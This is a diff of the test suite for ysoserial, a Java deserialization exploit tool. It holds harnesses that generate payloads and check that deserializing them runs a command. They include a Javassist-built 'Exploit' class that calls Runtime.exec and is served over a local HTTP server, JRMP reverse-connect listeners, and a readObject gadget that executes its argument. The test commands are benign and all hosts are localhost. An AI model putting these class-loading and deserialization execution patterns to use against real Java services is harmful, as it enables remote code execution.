private static final String ASSERT_MESSAGE = "should have thrown " + ExecException.class.getSimpleName();
@SuppressWarnings("serial")
private static class ExecException extends RuntimeException {}
private final MockSecurityManager msm = new MockSecurityManager(){
public void checkExec(final String cmd) {
super.checkExec(cmd);
// throw a special exception to ensure we can detect exec() in the test
throw new ExecException();
};
};
@Rule
public final ProvideSecurityManager psm = new ProvideSecurityManager(msm);
@DataPoints
public static ObjectPayload[] payloads() {
return new ObjectPayload[] { new CommonsCollections1(), new Groovy1(), new Spring1() };
}
@Theory
public void testPayload(final ObjectPayload payload) throws Exception {
final Object f = payload.getObject("hostname");
final byte[] serialized = Serializables.serialize(f);
// special case for using TemplatesImpl gadgets with SecurityManager
System.setProperty(DESERIALIZE_TRANSLET, "true");
try {
final Object obj = Serializables.deserialize(serialized);
Assert.fail(ASSERT_MESSAGE); // should never get here
} catch (Exception e) {
// hopefully everything will reliably nest our ExecException
Assert.assertEquals(Throwables.getInnermostCause(e).getClass(), ExecException.class);
}
// confirm sm saw the check for file execution
Assert.assertTrue(msm.getChecks().contains(new FilePermission("<<ALL FILES>>", "execute")));
}
// make sure test harness fails properly
@Test
public void testHarnessFail() throws Exception {
try {
testPayload(new MockPayload(1));
Assert.fail("should have failed");
} catch (AssertionError e) {
Assert.assertEquals(ASSERT_MESSAGE, e.getMessage());
}
}
// make sure test harness passes properly
@Test
public void testHarnessPass() throws Exception {
testPayload(new MockPayload(new ExecSerializable()));
}
}
@@ -0,0 +1,13 @@
package ysoserial.test;
/**
* @author mbechler
*
*/
public interface CustomDeserializer {
Class<?> getCustomDeserializer ();
}
@@ -0,0 +1,13 @@
package ysoserial.test;
/**
* @author mbechler
*
*/
public interface CustomPayloadArgs {
String getPayloadArgs ();
}
@@ -0,0 +1,12 @@
package ysoserial.test;
import java.util.concurrent.Callable;
/**
* @author mbechler
*
*/
public interface CustomTest extends CustomPayloadArgs {
void run (Callable<Object> payload) throws Exception;
}
@@ -0,0 +1,13 @@
package ysoserial.test;
import java.util.concurrent.Callable;
/**
* @author mbechler
*
*/
public interface WrappedTest extends CustomPayloadArgs {
Callable<Object> createCallable ( Callable<Object> innerCallable );
}
@@ -0,0 +1,18 @@
package ysoserial.test.exploit;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class RMIRegistryExploitTest {
public static void createRegistry(int port) throws RemoteException {
Registry registry = LocateRegistry.createRegistry(port);
}
public static void main(String[] args) throws RemoteException, InterruptedException {
String portStr = args.length > 0 && args[0] != null ? args[0] : "1099";
int port = Integer.parseInt(portStr);
createRegistry(port);
while (true) Thread.sleep(1000);
}
}
@@ -0,0 +1,39 @@
package ysoserial.test.payloads;
import org.junit.Assert;
import ysoserial.test.CustomTest;
import ysoserial.test.util.Files;
import ysoserial.test.util.OS;
import java.io.File;
import java.util.UUID;
import java.util.concurrent.Callable;
public class CommandExecTest implements CustomTest {
private final File testFile =
new File(OS.getTmpDir(), "ysoserial-test-" + UUID.randomUUID().toString().replaceAll("-", ""));
@Override
public void run(Callable<Object> payload) throws Exception {
Assert.assertFalse("test file should not exist", testFile.exists());
try {
payload.call();
} catch (Exception e) {
e.printStackTrace();
}
Files.waitForFile(testFile, 5000);
Assert.assertTrue("test file should exist", testFile.exists());
testFile.deleteOnExit();
}
@Override
public String getPayloadArgs() {
switch (OS.get()) {
case OSX:
case LINUX: return "touch " + testFile;
case WINDOWS: return "powershell -command new-item -type file " + testFile;
default: throw new UnsupportedOperationException("unsupported os");
}
}
}
@@ -0,0 +1,88 @@
package ysoserial.test.payloads;
import java.io.File;
import java.io.IOException;
import java.util.Arrays;
import java.util.concurrent.Callable;
import org.junit.Assert;
import com.google.common.io.Files;
import ysoserial.test.CustomTest;
import ysoserial.test.util.OS;
/**
* @author mbechler
*
*/
public class FileUploadTest implements CustomTest {
/**
*
*/
private static final byte[] FDATA = new byte[] {(byte) 0xAA, (byte) 0xBB, (byte) 0xCC, (byte) 0xDD, (byte) 0xEE, (byte) 0xFF };
private File source;
private File repo;
/**
*
*/
public FileUploadTest () {
try {
source = File.createTempFile("fut", "-source");
repo = Files.createTempDir();
}
catch ( IOException e ) {
e.printStackTrace();
}
}
public synchronized void run ( Callable<Object> payload ) throws Exception {
try {
Files.write(FDATA, this.source);
Assert.assertTrue(this.source.exists());
payload.call();
File found = null;
for (int i = 0; i < 50 && found == null; i++) { // try for 5s before failing
for (File f : this.repo.listFiles()) {
found = f;
break;
}
Thread.sleep(100);
}
Assert.assertNotNull("File not copied", found);
if (OS.get() != OS.WINDOWS) {
// windows' file locking seems to cause this to fail
Assert.assertFalse("Source not deleted", this.source.exists());
}
Assert.assertTrue("Contents not copied", Arrays.equals(FDATA, Files.toByteArray(found)));
} finally {
if ( this.repo.exists()) {
for ( File f : this.repo.listFiles()) {
safeDeleteOnExit(f);
}
safeDeleteOnExit(this.repo);
}
safeDeleteOnExit(this.source);
}
}
private static void safeDeleteOnExit(File f) {
try {
if (f.exists()) {
f.deleteOnExit();
}
} catch (Exception e) {
e.printStackTrace();
}
}
public String getPayloadArgs () {
return "copyAndDelete;" + this.source.getAbsolutePath() + ";" + this.repo.getAbsolutePath();
}
}
@@ -0,0 +1,64 @@
package ysoserial.test.payloads;
import java.net.URL;
import java.util.concurrent.Callable;
import ysoserial.test.WrappedTest;
import ysoserial.exploit.JRMPListener;
/**
* @author mbechler
*
*/
public class JRMPReverseConnectSMTest extends RemoteClassLoadingTest implements WrappedTest {
private int jrmpPort;
public JRMPReverseConnectSMTest (String command) {
super(command);
// some payloads cannot specify the port
jrmpPort = 1099;
}
/**
* {@inheritDoc}
*
* @see RemoteClassLoadingTest#createCallable(java.util.concurrent.Callable)
*/
@Override
public Callable<Object> createCallable ( final Callable<Object> innerCallable ) {
return super.createCallable(new Callable<Object>() {
public Object call () throws Exception {
JRMPListener l = new JRMPListener(jrmpPort, getExploitClassName(), new URL("http", "localhost", getHTTPPort(), "/"));
Thread t = new Thread(l, "JRMP listener");
try {
t.start();
Object res = innerCallable.call();
l.waitFor(1000);
return res;
}
finally {
l.close();
t.interrupt();
t.join();
}
}
});
}
@Override
public String getPayloadArgs () {
return "localhost:" + jrmpPort;
}
}
@@ -0,0 +1,57 @@
package ysoserial.test.payloads;
import java.util.concurrent.Callable;
import javax.management.BadAttributeValueExpException;
import org.junit.Assert;
import ysoserial.test.CustomTest;
import ysoserial.exploit.JRMPListener;
/**
* @author mbechler
*
*/
public class JRMPReverseConnectTest implements CustomTest {
private int port;
/**
*
*/
public JRMPReverseConnectTest () {
// some payloads cannot specify the port
port = 1099;
}
public void run ( Callable<Object> payload ) throws Exception {
JRMPListener l = new JRMPListener(port, new BadAttributeValueExpException("foo"));
Thread t = new Thread(l, "JRMP listener");
try {
t.start();
try {
payload.call();
}
catch ( Exception e ) {
// ignore
}
Assert.assertTrue("Did not have connection", l.waitFor(1000));
}
finally {
l.close();
t.interrupt();
t.join();
}
}
public String getPayloadArgs () {
return "rmi:localhost:" + port;
}
}
@@ -0,0 +1,181 @@
package ysoserial.test.payloads;
import java.beans.FeatureDescriptor;
import java.net.MalformedURLException;
import java.net.URL;
import java.util.HashMap;
import java.util.Iterator;
import java.util.Map;
import javax.el.BeanELResolver;
import javax.el.ELContext;
import javax.el.ELResolver;
import javax.el.MapELResolver;
import javax.faces.context.FacesContext;
import javax.servlet.ServletContext;
import javax.servlet.ServletRequest;
import org.apache.myfaces.el.CompositeELResolver;
import org.apache.myfaces.el.unified.FacesELContext;
import org.mockito.Matchers;
import org.mockito.Mockito;
import org.mockito.invocation.InvocationOnMock;
import org.mockito.stubbing.Answer;
import ysoserial.payloads.util.Reflections;
import ysoserial.test.CustomDeserializer;
import ysoserial.Deserializer;
/**
* @author mbechler
*
*/
public class MyfacesTest extends RemoteClassLoadingTest implements CustomDeserializer {
public MyfacesTest ( String command ) {
super(command);
}
public Class<?> getCustomDeserializer () {
return MyfacesDeserializer.class;
}
/**
* need to use a custom deserializer so that the faces context gets set in the isolated class
*
* @author mbechler
*
*/
public static final class MyfacesDeserializer extends Deserializer {
public static Class<?>[] getExtraDependencies () {
return new Class[] {
MockRequestContext.class, MockELResolver.class
};
}
private static class MockRequestContext implements Answer<Object> {
private Map<String, Object> attributes = new HashMap<String, Object>();
public Object answer ( InvocationOnMock invocation ) throws Throwable {
if ( "setAttribute".equals(invocation.getMethod().getName()) ) {
this.attributes.put(invocation.getArgumentAt(0, String.class), invocation.getArgumentAt(1, Object.class));
return null;
}
else if ( "getAttribute".equals(invocation.getMethod().getName()) ) {
return this.attributes.get(invocation.getArgumentAt(0, String.class));
}
return null;
}
}
private static class MockELResolver extends ELResolver {
private ServletRequest request;
public MockELResolver (ServletRequest req) {
this.request = req;
}
@Override
public Object getValue ( ELContext context, Object base, Object property ) {
if ( base == null && "request".equals(property)) {
context.setPropertyResolved(true);
return this.request;
}
return null;
}
@Override
public Class<?> getType ( ELContext context, Object base, Object property ) {
if ( base == null && "request".equals(property)) {
context.setPropertyResolved(true);
return ServletRequest.class;
}
return null;
}
@Override
public void setValue ( ELContext context, Object base, Object property, Object value ) {
}
@Override
public boolean isReadOnly ( ELContext context, Object base, Object property ) {
return true;
}
@Override
public Iterator<FeatureDescriptor> getFeatureDescriptors ( ELContext context, Object base ) {
return null;
}
@Override
public Class<?> getCommonPropertyType ( ELContext context, Object base ) {
return null;
}
}
public MyfacesDeserializer ( byte[] bytes ) {
super(bytes);
}
@Override
public Object call () throws Exception {
java.lang.reflect.Method setFC = FacesContext.class.getDeclaredMethod("setCurrentInstance", FacesContext.class);
Reflections.setAccessible(setFC);
ClassLoader oldTCCL = Thread.currentThread().getContextClassLoader();
Thread.currentThread().setContextClassLoader(this.getClass().getClassLoader());
FacesContext ctx = createMockFacesContext();
try {
setFC.invoke(null, ctx);
return super.call();
}
finally {
setFC.invoke(null, (FacesContext) null);
Thread.currentThread().setContextClassLoader(oldTCCL);
}
}
private static FacesContext createMockFacesContext () throws MalformedURLException {
FacesContext ctx = Mockito.mock(FacesContext.class);
CompositeELResolver cer = new CompositeELResolver();
FacesELContext elc = new FacesELContext(cer, ctx);
ServletRequest requestMock = Mockito.mock(ServletRequest.class);
ServletContext contextMock = Mockito.mock(ServletContext.class);
URL url = new URL("file:///");
Mockito.when(contextMock.getResource(Matchers.anyString())).thenReturn(url);
Mockito.when(requestMock.getServletContext()).thenReturn(contextMock);
Answer<?> attrContext = new MockRequestContext();
Mockito.when(requestMock.getAttribute(Matchers.anyString())).thenAnswer(attrContext);
Mockito.doAnswer(attrContext).when(requestMock).setAttribute(Matchers.anyString(), Matchers.any());
cer.add(new MockELResolver(requestMock));
cer.add(new BeanELResolver());
cer.add(new MapELResolver());
Mockito.when(ctx.getELContext()).thenReturn(elc);
return ctx;
}
}
}
@@ -0,0 +1,342 @@
package ysoserial.test.payloads;
import java.io.ByteArrayOutputStream;
import java.io.File;
import java.io.OutputStream;
import java.io.PrintStream;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.net.URL;
import java.net.URLClassLoader;
import java.util.Arrays;
import java.util.HashMap;
import java.util.Map;
import java.util.Set;
import java.util.concurrent.Callable;
import org.jboss.shrinkwrap.resolver.api.maven.Maven;
import org.junit.Assume;
import org.junit.Test;
import org.junit.runner.Description;
import org.junit.runner.JUnitCore;
import org.junit.runner.Result;
import org.junit.runner.RunWith;
import org.junit.runner.notification.Failure;
import org.junit.runner.notification.RunListener;
import org.junit.runners.Parameterized;
import org.junit.runners.Parameterized.Parameters;
import ysoserial.*;
import ysoserial.payloads.DynamicDependencies;
import ysoserial.payloads.ObjectPayload;
import ysoserial.test.CustomTest;
import ysoserial.test.CustomDeserializer;
import ysoserial.test.CustomPayloadArgs;
import ysoserial.test.WrappedTest;
import ysoserial.test.payloads.TestHarnessTest.ExecMockPayload;
import ysoserial.test.payloads.TestHarnessTest.NoopMockPayload;
import ysoserial.payloads.annotation.Dependencies;
import ysoserial.payloads.annotation.PayloadTest;
import ysoserial.payloads.util.ClassFiles;
/*
* tests each of the parameterize Payload classes by using a mock SecurityManager that throws
* a special exception when an exec() attempt is made for more reliable detection; self-tests
* the harness for trivial pass and failure cases
TODO: figure out better way to test exception behavior than comparing messages
*/
@SuppressWarnings ( {
"rawtypes", "unused", "unchecked"
} )
@RunWith ( Parameterized.class )
public class PayloadsTest {
@Parameters ( name = "payloadClass: {0}" )
public static Class<? extends ObjectPayload<?>>[] payloads () {
Set<Class<? extends ObjectPayload>> payloadClasses = ObjectPayload.Utils.getPayloadClasses();
payloadClasses.removeAll(Arrays.asList(ExecMockPayload.class, NoopMockPayload.class));
return payloadClasses.toArray(new Class[0]);
}
private final Class<? extends ObjectPayload<?>> payloadClass;
public PayloadsTest ( Class<? extends ObjectPayload<?>> payloadClass ) {
this.payloadClass = payloadClass;
}
@Test
public void testPayload () throws Exception {
testPayload(payloadClass, new Class[0]);
}
public static void testPayload ( final Class<? extends ObjectPayload<?>> payloadClass, final Class<?>[] addlClassesForClassLoader )
throws Exception {
System.out.println("Testing payload: " + payloadClass.getName());
String command = "hostname";
PayloadTest t = payloadClass.getAnnotation(PayloadTest.class);
int tries = 1;
if ( t != null ) {
if (System.getProperty("forceTests") == null) {
if ( !t.skip().isEmpty() ) {
Assume.assumeTrue(t.skip(), false);
}
if ( !t.precondition().isEmpty() ) {
Assume.assumeTrue("Precondition: " + t.precondition(), checkPrecondition(payloadClass, t.precondition()));
}
}
if (! t.flaky().isEmpty()) {
tries = 5;
}
}
String[] deps = buildDeps(payloadClass);
String payloadCommand = command;
Class<?> customDeserializer = null;
Object testHarness = null;
if ( t != null && !t.harness().isEmpty() ) {
Class<?> testHarnessClass = Class.forName(t.harness());
try {
testHarness = testHarnessClass.getConstructor(String.class).newInstance(command);
} catch ( NoSuchMethodException e ) {
testHarness = testHarnessClass.newInstance();
}
} else {
testHarness = new CommandExecTest(); // default
}
if ( testHarness instanceof CustomPayloadArgs) {
payloadCommand = ( (CustomPayloadArgs) testHarness ).getPayloadArgs();
}
if ( testHarness instanceof CustomDeserializer) {
customDeserializer = ((CustomDeserializer)testHarness).getCustomDeserializer();
}
// TODO per-thread secmgr to enforce no detonation during deserialization
final byte[] serialized = makeSerializeCallable(payloadClass, payloadCommand).call();
Callable<Object> callable = makeDeserializeCallable(t, addlClassesForClassLoader, deps, serialized, customDeserializer);
if ( testHarness instanceof WrappedTest) {
callable = ( (WrappedTest) testHarness ).createCallable(callable);
}
if (testHarness instanceof CustomTest) {
// if marked as flaky try up to 5 times
Exception ex = new Exception();
for (int i = 0; i < tries; i++) {
try {
((CustomTest) testHarness).run(callable);
ex = null;
break;
} catch (Exception e) {
ex = e;
}
}
if (ex != null) throw ex;
}
}
private static Callable<byte[]> makeSerializeCallable ( final Class<? extends ObjectPayload<?>> payloadClass, final String command ) {
return new Callable<byte[]>() {
public byte[] call () throws Exception {
ObjectPayload<?> payload = payloadClass.newInstance();
final Object f = payload.getObject(command);
byte[] serialized = Serializer.serialize(f);
ObjectPayload.Utils.releasePayload(payload, f);
return serialized;
}
};
}
private static Callable<Object> makeDeserializeCallable ( PayloadTest t, final Class<?>[] addlClassesForClassLoader, final String[] deps,
final byte[] serialized, final Class<?> customDeserializer ) {
return new Callable<Object>() {
public Object call () throws Exception {
return deserializeWithDependencies(serialized, deps, addlClassesForClassLoader, customDeserializer);
}
};
}
private static boolean checkPrecondition ( Class<? extends ObjectPayload<?>> pc, String precondition )
throws NoSuchMethodException, SecurityException, IllegalAccessException, IllegalArgumentException, InvocationTargetException {
Method precondMethod = pc.getMethod(precondition);
return (Boolean) precondMethod.invoke(null);
}
private static String[] buildDeps ( final Class<? extends ObjectPayload<?>> payloadClass ) throws Exception {
String[] baseDeps;
if ( DynamicDependencies.class.isAssignableFrom(payloadClass) ) {
Method method = payloadClass.getMethod("getDependencies");
baseDeps = (String[]) method.invoke(null);
}
else {
baseDeps = Dependencies.Utils.getDependencies(payloadClass);
}
if ( System.getProperty("properXalan") != null ) {
baseDeps = Arrays.copyOf(baseDeps, baseDeps.length + 1);
baseDeps[ baseDeps.length - 1 ] = "xalan:xalan:2.7.2";
}
return baseDeps;
}
static Object deserializeWithDependencies ( byte[] serialized, final String[] dependencies, final Class<?>[] classDependencies, final Class<?> customDeserializer )
throws Exception {
File[] jars = dependencies.length > 0
? Maven.configureResolver()
.withMavenCentralRepo(true)
.withRemoteRepo("jenkins", "https://repo.jenkins-ci.org/public/", "default")
.resolve(dependencies).withoutTransitivity().asFile()
: new File[0];
URL[] urls = new URL[jars.length];
for ( int i = 0; i < jars.length; i++ ) {
urls[ i ] = jars[ i ].toURI().toURL();
}
URLClassLoader isolatedClassLoader = new URLClassLoader(urls, null) {
{
for ( Class<?> clazz : classDependencies ) {
byte[] classAsBytes = ClassFiles.classAsBytes(clazz);
defineClass(clazz.getName(), classAsBytes, 0, classAsBytes.length);
}
byte[] deserializerClassBytes = ClassFiles.classAsBytes(Deserializer.class);
defineClass(Deserializer.class.getName(), deserializerClassBytes, 0, deserializerClassBytes.length);
if ( customDeserializer != null ) {
try {
Method method = customDeserializer.getMethod("getExtraDependencies");
for ( Class extra : (Class[])method.invoke(null)) {
deserializerClassBytes = ClassFiles.classAsBytes(extra);
defineClass(extra.getName(), deserializerClassBytes, 0, deserializerClassBytes.length);
}
} catch ( NoSuchMethodException e ) { }
deserializerClassBytes = ClassFiles.classAsBytes(customDeserializer);
defineClass(customDeserializer.getName(), deserializerClassBytes, 0, deserializerClassBytes.length);
}
}
};
Class<?> deserializerClass = isolatedClassLoader.loadClass(customDeserializer != null ? customDeserializer.getName() : Deserializer.class.getName());
Callable<Object> deserializer = (Callable<Object>) deserializerClass.getConstructors()[ 0 ].newInstance(serialized);
ClassLoader ccl = Thread.currentThread().getContextClassLoader();
try {
// set CCL for Clojure https://groups.google.com/forum/#!topic/clojure/F3ERon6Fye0
Thread.currentThread().setContextClassLoader(isolatedClassLoader);
final Object obj = deserializer.call();
return obj;
} finally {
Thread.currentThread().setContextClassLoader(ccl);
}
}
public static void main(String[] args) {
JUnitCore junit = new JUnitCore();
PayloadListener listener = new PayloadListener();
junit.addListener(listener);
Result result = junit.run(PayloadsTest.class);
System.exit(result.wasSuccessful() ? 0 : 1);
}
public static class StdIo {
private static final PrintStream realOut = System.out;
private static final PrintStream realErr = System.err;
public static void restoreStreams() {
setStreams(realOut, realErr);
}
public static void setStreams(PrintStream out, PrintStream err) {
System.setOut(out);
System.setErr(err);
}
public static void setStreams(OutputStream out, OutputStream err) {
setStreams(new PrintStream(out), new PrintStream(err));
}
}
public static class PayloadListener extends RunListener {
public enum Status {
SUCCESS,
FAILURE,
IGNORE,
ASSUMPTION_FAILURE
}
private Map<Description, ByteArrayOutputStream> outs = new HashMap<Description, ByteArrayOutputStream>();
private Map<Description, ByteArrayOutputStream> errs = new HashMap<Description, ByteArrayOutputStream>();
private Map<Description, Status> statuses = new HashMap<Description, Status>();
private Map<Description, Failure> failures = new HashMap<Description, Failure>();
@Override
public void testStarted(Description description) throws Exception {
System.out.println(getPayload(description.getDisplayName()) + ": STARTED");
statuses.put(description, Status.SUCCESS);
ByteArrayOutputStream out = new ByteArrayOutputStream();
// ByteArrayOutputStream err = new ByteArrayOutputStream();
outs.put(description, out);
// errs.put(description, err);
StdIo.setStreams(out, out);
}
@Override
public void testFinished(Description description) throws Exception {
outs.get(description).close();
//errs.get(description).close();
StdIo.restoreStreams();
Status status = statuses.get(description);
System.out.println(getPayload(description.getDisplayName()) + ": " + status);
if (status == Status.FAILURE) System.err.println(outs.get(description).toString());
}
@Override
public void testFailure(Failure failure) throws Exception {
statuses.put(failure.getDescription(), Status.FAILURE);
failures.put(failure.getDescription(), failure);
}
@Override
public void testAssumptionFailure(Failure failure) {
statuses.put(failure.getDescription(), Status.ASSUMPTION_FAILURE);
failures.put(failure.getDescription(), failure);
}
// testPayload[payloadClass: class ysoserial.payloads.JavassistWeld1](ysoserial.test.payloads.PayloadsTest)
public static String getPayload(String displayName) {
return displayName.replaceAll(".*\\[\\S+: class (\\w+\\.)+(\\w+)\\].*", "$2");
}
}
}
@@ -0,0 +1,131 @@
package ysoserial.test.payloads;
import java.io.ByteArrayInputStream;
import java.io.IOException;
import java.io.Serializable;
import java.util.Random;
import java.util.concurrent.Callable;
import fi.iki.elonen.NanoHTTPD;
import fi.iki.elonen.NanoHTTPD.Response.Status;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import ysoserial.test.WrappedTest;
/**
* @author mbechler
*
*/
public class RemoteClassLoadingTest implements WrappedTest {
int port;
private String command;
private String className;
public RemoteClassLoadingTest ( String command ) {
this.command = command;
this.port = new Random().nextInt(65535-1024)+1024;
this.className = "Exploit-" + System.currentTimeMillis();
}
public String getPayloadArgs () {
return String.format("http://localhost:%d/", this.port) + ":" + this.className;
}
public int getHTTPPort () {
return this.port;
}
public Callable<Object> createCallable ( Callable<Object> innerCallable ) {
return new RemoteClassLoadingTestCallable(this.port, makePayloadClass(), innerCallable);
}
public String getExploitClassName () {
return this.className;
}
protected byte[] makePayloadClass () {
try {
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath(Exploit.class));
final CtClass clazz = pool.get(Exploit.class.getName());
clazz.setName(this.className);
clazz.makeClassInitializer().insertAfter("java.lang.Runtime.getRuntime().exec(\"" + command.replaceAll("\"", "\\\"") + "\");");
return clazz.toBytecode();
}
catch ( Exception e ) {
e.printStackTrace();
return new byte[0];
}
}
static class RemoteClassLoadingTestCallable extends NanoHTTPD implements Callable<Object> {
private Callable<Object> innerCallable;
private byte[] data;
private Object waitLock = new Object();
public RemoteClassLoadingTestCallable ( int port, byte[] data, Callable<Object> innerCallable ) {
super(port);
this.data = data;
this.innerCallable = innerCallable;
}
public void waitFor() throws InterruptedException {
synchronized ( this.waitLock ) {
this.waitLock.wait(1000);
}
}
public Object call () throws Exception {
try {
setup();
Object res = this.innerCallable.call();
waitFor();
Thread.sleep(1000);
return res;
}
finally {
cleanup();
}
}
private void setup () throws IOException {
start(NanoHTTPD.SOCKET_READ_TIMEOUT, false);
}
private void cleanup () {
stop();
}
@Override
public Response serve ( IHTTPSession sess ) {
System.out.println("Serving " + sess.getUri());
Response response = newFixedLengthResponse(Status.OK, "application/octet-stream", new ByteArrayInputStream(data), data.length);
synchronized ( this.waitLock ) {
this.waitLock.notify();
}
return response;
}
}
public static class Exploit implements Serializable {
private static final long serialVersionUID = 1L;
}
}
+68
View File
@@ -0,0 +1,68 @@
package ysoserial.test.payloads;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.Serializable;
import org.hamcrest.CoreMatchers;
import org.junit.Assert;
import org.junit.Test;
import ysoserial.payloads.ObjectPayload;
public class TestHarnessTest {
// make sure test harness fails properly
@Test
public void testHarnessExecFail() throws Exception {
try {
PayloadsTest.testPayload(NoopMockPayload.class, new Class[0]);
Assert.fail("should have failed");
} catch (AssertionError e) {
Assert.assertThat(e.getMessage(), CoreMatchers.containsString("test file should exist"));
}
}
// make sure test harness fails properly
@Test
public void testHarnessClassLoaderFail() throws Exception {
try {
PayloadsTest.testPayload(ExecMockPayload.class, new Class[0]);
Assert.fail("should have failed");
} catch (AssertionError e) {
//Assert.assertThat(e.getMessage(), CoreMatchers.containsString("ClassNotFoundException"));
}
}
// make sure test harness passes properly with trivial execution gadget
@Test
public void testHarnessExecPass() throws Exception {
PayloadsTest.testPayload(ExecMockPayload.class, new Class[] { ExecMockSerializable.class });
}
public static class ExecMockPayload implements ObjectPayload<ExecMockSerializable> {
public ExecMockSerializable getObject(String command) throws Exception {
return new ExecMockSerializable(command);
}
}
public static class NoopMockPayload implements ObjectPayload<Integer> {
public Integer getObject(String command) throws Exception {
return 1;
}
}
@SuppressWarnings("serial")
public static class ExecMockSerializable implements Serializable {
private final String cmd;
public ExecMockSerializable(String cmd) { this.cmd = cmd; }
private void readObject(final ObjectInputStream ois) throws IOException, ClassNotFoundException {
ois.defaultReadObject();
try {
Runtime.getRuntime().exec(cmd);
} catch (IOException e) {
throw new RuntimeException(e);
}
}
}
}
@@ -0,0 +1,34 @@
package ysoserial.test.util;
import java.util.concurrent.Callable;
public class Callables {
public static interface BeforeAfterCallback {
public void before();
public void after();
}
public static class Wrapper<T> implements Callable<T> {
private final Callable<T> callable;
private final BeforeAfterCallback callback;
public Wrapper(Callable<T> callable, BeforeAfterCallback callback) {
this.callable = callable;
this.callback = callback;
}
@Override
public T call() throws Exception {
try {
callback.before();
return callable.call();
} finally {
callback.after();
}
}
}
public static <T> Callable<T> wrap(Callable<T> callable, BeforeAfterCallback callback) {
return new Wrapper<T>(callable, callback);
}
}
@@ -0,0 +1,12 @@
package ysoserial.test.util;
import java.io.File;
public class Files {
public static void waitForFile(File file, int timeoutMs) throws InterruptedException {
long timeout = System.currentTimeMillis() + timeoutMs;
while (! file.exists() && System.currentTimeMillis() < timeout) {
Thread.sleep(10);
}
}
}
@@ -0,0 +1,14 @@
package ysoserial.test.util;
import org.junit.Test;
import ysoserial.payloads.util.Gadgets;
public class GadgetsTest {
@Test
public void test_createTemplatesImpl_noCompilationError() throws Exception {
Gadgets.createTemplatesImpl("hostname");
Gadgets.createTemplatesImpl("echo 'foobar'");
Gadgets.createTemplatesImpl("echo \"foobar\"");
Gadgets.createTemplatesImpl("\"`';\\");
}
}
+31
View File
@@ -0,0 +1,31 @@
package ysoserial.test.util;
public enum OS {
WINDOWS,
LINUX,
OSX,
OTHER;
private static final OS os = determineOs();
public static OS get() {
return os;
}
private static OS determineOs() {
String osName = System.getProperty("os.name", "other").toLowerCase();
if (osName.contains("windows")) {
return WINDOWS;
} else if (osName.contains("mac os x")) {
return OSX;
} else if (osName.contains("linux")) {
return LINUX;
} else {
return OTHER;
}
}
public static String getTmpDir() {
return System.getProperty("java.io.tmpdir");
}
}
@@ -1,8 +1,8 @@
package ysoserial; package ysoserial.test.util;
public class Throwables { public class Throwables {
public static Throwable getInnermostCause(final Throwable t) { public static Throwable getInnermostCause(final Throwable t) {
final Throwable cause = t.getCause(); final Throwable cause = t.getCause();
return cause == null ? t : getInnermostCause(cause); return cause == null || cause == t ? t : getInnermostCause(cause);
} }
} }